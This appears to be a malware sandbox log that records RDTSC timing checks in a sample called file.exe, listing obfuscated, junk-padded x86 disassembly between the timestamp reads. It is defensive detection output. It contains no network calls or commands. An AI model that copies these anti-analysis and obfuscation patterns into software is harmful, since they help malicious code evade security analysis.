Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550541 second address: 5550581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 pushfd 0x00000012 jmp 00007F0CFCBDECE5h 0x00000017 add ecx, 6906D1D6h 0x0000001d jmp 00007F0CFCBDECE1h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550581 second address: 5550586 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550586 second address: 555059A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, A4E0h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555059A second address: 55505A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550684 second address: 5550696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550696 second address: 5540036 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, esi 0x0000000a pushad 0x0000000b movsx ebx, cx 0x0000000e jmp 00007F0CFCDA8E66h 0x00000013 popad 0x00000014 pop esi 0x00000015 jmp 00007F0CFCDA8E60h 0x0000001a leave 0x0000001b jmp 00007F0CFCDA8E60h 0x00000020 retn 0004h 0x00000023 nop 0x00000024 cmp eax, 00000000h 0x00000027 setne al 0x0000002a xor ebx, ebx 0x0000002c test al, 01h 0x0000002e jne 00007F0CFCDA8E57h 0x00000030 xor eax, eax 0x00000032 sub esp, 08h 0x00000035 mov dword ptr [esp], 00000000h 0x0000003c mov dword ptr [esp+04h], 00000000h 0x00000044 call 00007F0D01532293h 0x00000049 mov edi, edi 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F0CFCDA8E5Eh 0x00000052 and ch, FFFFFFB8h 0x00000055 jmp 00007F0CFCDA8E5Bh 0x0000005a popfd 0x0000005b popad 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F0CFCDA8E61h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540036 second address: 5540046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540046 second address: 554005D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0CFCDA8E5Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554005D second address: 554006F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECDEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554006F second address: 5540073 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540073 second address: 55400A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edx, cx 0x0000000e mov si, 50B5h 0x00000012 popad 0x00000013 push FFFFFFFEh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F0CFCBDECE7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400A1 second address: 55400B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 movsx edi, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push 21A803FBh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push edi 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400B8 second address: 55400D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 551F9A4Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400D5 second address: 55400D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400D9 second address: 55400DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55400DF second address: 5540151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 006F6115h 0x0000000e pushad 0x0000000f mov si, dx 0x00000012 pushad 0x00000013 mov ecx, edi 0x00000015 jmp 00007F0CFCDA8E65h 0x0000001a popad 0x0000001b popad 0x0000001c add dword ptr [esp], 7652CA5Bh 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F0CFCDA8E5Ch 0x0000002a and ecx, 629FDC88h 0x00000030 jmp 00007F0CFCDA8E5Bh 0x00000035 popfd 0x00000036 mov di, si 0x00000039 popad 0x0000003a mov eax, dword ptr fs:[00000000h] 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540151 second address: 5540168 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540168 second address: 554024D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 078Ah 0x00000007 pushfd 0x00000008 jmp 00007F0CFCDA8E5Bh 0x0000000d add ax, 162Eh 0x00000012 jmp 00007F0CFCDA8E69h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b nop 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F0CFCDA8E5Ch 0x00000023 and ecx, 336713A8h 0x00000029 jmp 00007F0CFCDA8E5Bh 0x0000002e popfd 0x0000002f mov ebx, esi 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 mov edx, 09BF0516h 0x00000039 pushad 0x0000003a mov ecx, ebx 0x0000003c popad 0x0000003d popad 0x0000003e nop 0x0000003f pushad 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F0CFCDA8E5Eh 0x00000047 and esi, 54FA8138h 0x0000004d jmp 00007F0CFCDA8E5Bh 0x00000052 popfd 0x00000053 pushfd 0x00000054 jmp 00007F0CFCDA8E68h 0x00000059 sbb cl, FFFFFF98h 0x0000005c jmp 00007F0CFCDA8E5Bh 0x00000061 popfd 0x00000062 popad 0x00000063 mov bx, ax 0x00000066 popad 0x00000067 sub esp, 18h 0x0000006a jmp 00007F0CFCDA8E62h 0x0000006f xchg eax, ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007F0CFCDA8E67h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554024D second address: 5540265 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540265 second address: 554028D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0CFCDA8E64h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554028D second address: 55402CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F0CFCBDECE6h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 mov cl, FCh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F0CFCBDECDEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55402CB second address: 5540340 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ebx, eax 0x0000000e push ecx 0x0000000f pop edx 0x00000010 popad 0x00000011 mov di, ax 0x00000014 popad 0x00000015 xchg eax, edi 0x00000016 jmp 00007F0CFCDA8E64h 0x0000001b push eax 0x0000001c jmp 00007F0CFCDA8E5Bh 0x00000021 xchg eax, edi 0x00000022 jmp 00007F0CFCDA8E66h 0x00000027 mov eax, dword ptr [76C84538h] 0x0000002c pushad 0x0000002d mov dh, ah 0x0000002f movsx edi, ax 0x00000032 popad 0x00000033 xor dword ptr [ebp-08h], eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F0CFCDA8E61h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540340 second address: 5540346 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540346 second address: 554034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554034A second address: 55403AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F0CFCBDECE2h 0x00000011 and esi, 618D9358h 0x00000017 jmp 00007F0CFCBDECDBh 0x0000001c popfd 0x0000001d jmp 00007F0CFCBDECE8h 0x00000022 popad 0x00000023 nop 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F0CFCBDECE7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403AD second address: 55403C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403C5 second address: 55403C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403C9 second address: 55403E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0CFCDA8E5Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55403E1 second address: 5540413 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0CFCBDECE8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540413 second address: 5540422 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540422 second address: 55404EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0CFCBDECDFh 0x00000009 or ecx, 390E844Eh 0x0000000f jmp 00007F0CFCBDECE9h 0x00000014 popfd 0x00000015 mov ah, 88h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-10h] 0x0000001d pushad 0x0000001e jmp 00007F0CFCBDECE9h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F0CFCBDECDEh 0x0000002a sbb cl, 00000028h 0x0000002d jmp 00007F0CFCBDECDBh 0x00000032 popfd 0x00000033 mov bx, si 0x00000036 popad 0x00000037 popad 0x00000038 mov dword ptr fs:[00000000h], eax 0x0000003e jmp 00007F0CFCBDECE2h 0x00000043 mov dword ptr [ebp-18h], esp 0x00000046 jmp 00007F0CFCBDECE0h 0x0000004b mov eax, dword ptr fs:[00000018h] 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F0CFCBDECDDh 0x0000005a jmp 00007F0CFCBDECDBh 0x0000005f popfd 0x00000060 mov ax, 73DFh 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55404EE second address: 554053A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [eax+00000FDCh] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F0CFCDA8E66h 0x00000018 add ecx, 705F8CA8h 0x0000001e jmp 00007F0CFCDA8E5Bh 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554053A second address: 5540593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov dh, E6h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test ecx, ecx 0x0000000d pushad 0x0000000e jmp 00007F0CFCBDECE8h 0x00000013 mov bh, ah 0x00000015 popad 0x00000016 jns 00007F0CFCBDECF3h 0x0000001c jmp 00007F0CFCBDECDDh 0x00000021 add eax, ecx 0x00000023 jmp 00007F0CFCBDECDEh 0x00000028 mov ecx, dword ptr [ebp+08h] 0x0000002b pushad 0x0000002c movzx ecx, bx 0x0000002f push eax 0x00000030 push edx 0x00000031 mov dx, D5DCh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5540593 second address: 554059F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test ecx, ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 554059F second address: 55405A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ah, dl 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530349 second address: 553039E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0CFCDA8E5Ah 0x00000009 and si, 1C58h 0x0000000e jmp 00007F0CFCDA8E5Bh 0x00000013 popfd 0x00000014 call 00007F0CFCDA8E68h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 mov ax, dx 0x00000024 pushad 0x00000025 movsx edx, cx 0x00000028 mov esi, 0AC26C01h 0x0000002d popad 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 movzx esi, bx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553039E second address: 5530410 instructions: 0x00000000 rdtsc 0x00000002 call 00007F0CFCBDECE5h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edx 0x0000000c popad 0x0000000d sub esp, 2Ch 0x00000010 jmp 00007F0CFCBDECE3h 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov esi, ebx 0x0000001b pushfd 0x0000001c jmp 00007F0CFCBDECE7h 0x00000021 and ecx, 6A3F47EEh 0x00000027 jmp 00007F0CFCBDECE9h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530410 second address: 553047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0CFCDA8E67h 0x00000008 mov dx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F0CFCDA8E5Bh 0x00000015 pushfd 0x00000016 jmp 00007F0CFCDA8E68h 0x0000001b sbb ch, FFFFFFF8h 0x0000001e jmp 00007F0CFCDA8E5Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F0CFCDA8E60h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553047B second address: 553047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553047F second address: 5530485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530572 second address: 5530578 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530578 second address: 553057C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553057C second address: 5530611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 pushfd 0x00000011 jmp 00007F0CFCBDECE9h 0x00000016 sub esi, 4B9CF746h 0x0000001c jmp 00007F0CFCBDECE1h 0x00000021 popfd 0x00000022 popad 0x00000023 push eax 0x00000024 jmp 00007F0CFCBDECE1h 0x00000029 nop 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f pushfd 0x00000030 jmp 00007F0CFCBDECE9h 0x00000035 sbb ax, 5A06h 0x0000003a jmp 00007F0CFCBDECE1h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530640 second address: 5530644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530644 second address: 553064A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553078C second address: 5530790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530790 second address: 5530796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530796 second address: 55307D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0CFCDA8E61h 0x00000009 or esi, 1F8F6126h 0x0000000f jmp 00007F0CFCDA8E61h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 nop 0x00000019 pushad 0x0000001a mov esi, 5D339CF3h 0x0000001f popad 0x00000020 xchg eax, ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edx, cx 0x00000027 mov dh, ch 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307D8 second address: 55307FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0CFCBDECDEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55307FF second address: 5530811 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E5Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530811 second address: 5530815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553085C second address: 553087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov di, 168Eh 0x00000012 mov dl, 0Dh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553087D second address: 5530008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F0D6E2DCA99h 0x0000000f xor eax, eax 0x00000011 jmp 00007F0CFCBB840Ah 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e cmp eax, 00000000h 0x00000021 setne cl 0x00000024 xor ebx, ebx 0x00000026 test cl, 00000001h 0x00000029 jne 00007F0CFCBDECD7h 0x0000002b jmp 00007F0CFCBDEE4Bh 0x00000030 call 00007F0D01357F75h 0x00000035 mov edi, edi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530008 second address: 553000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553000C second address: 5530010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530010 second address: 5530016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530016 second address: 553002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553002A second address: 5530074 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F0CFCDA8E5Ah 0x00000010 jmp 00007F0CFCDA8E65h 0x00000015 popfd 0x00000016 movzx eax, bx 0x00000019 popad 0x0000001a mov dword ptr [esp], ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov si, 1FBBh 0x00000024 jmp 00007F0CFCDA8E60h 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530074 second address: 553008B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553008B second address: 553008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553008F second address: 5530093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530093 second address: 5530099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530099 second address: 55300B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d call 00007F0CFCBDECDCh 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55300B8 second address: 5530104 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F0CFCDA8E5Bh 0x00000008 xor cx, 91AEh 0x0000000d jmp 00007F0CFCDA8E69h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 movzx ecx, di 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0CFCDA8E64h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530104 second address: 553010A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553010A second address: 553013A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, BAh 0x00000005 mov bx, 6B9Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0CFCDA8E5Ch 0x00000016 and ecx, 76ED80B8h 0x0000001c jmp 00007F0CFCDA8E5Bh 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553013A second address: 5530140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
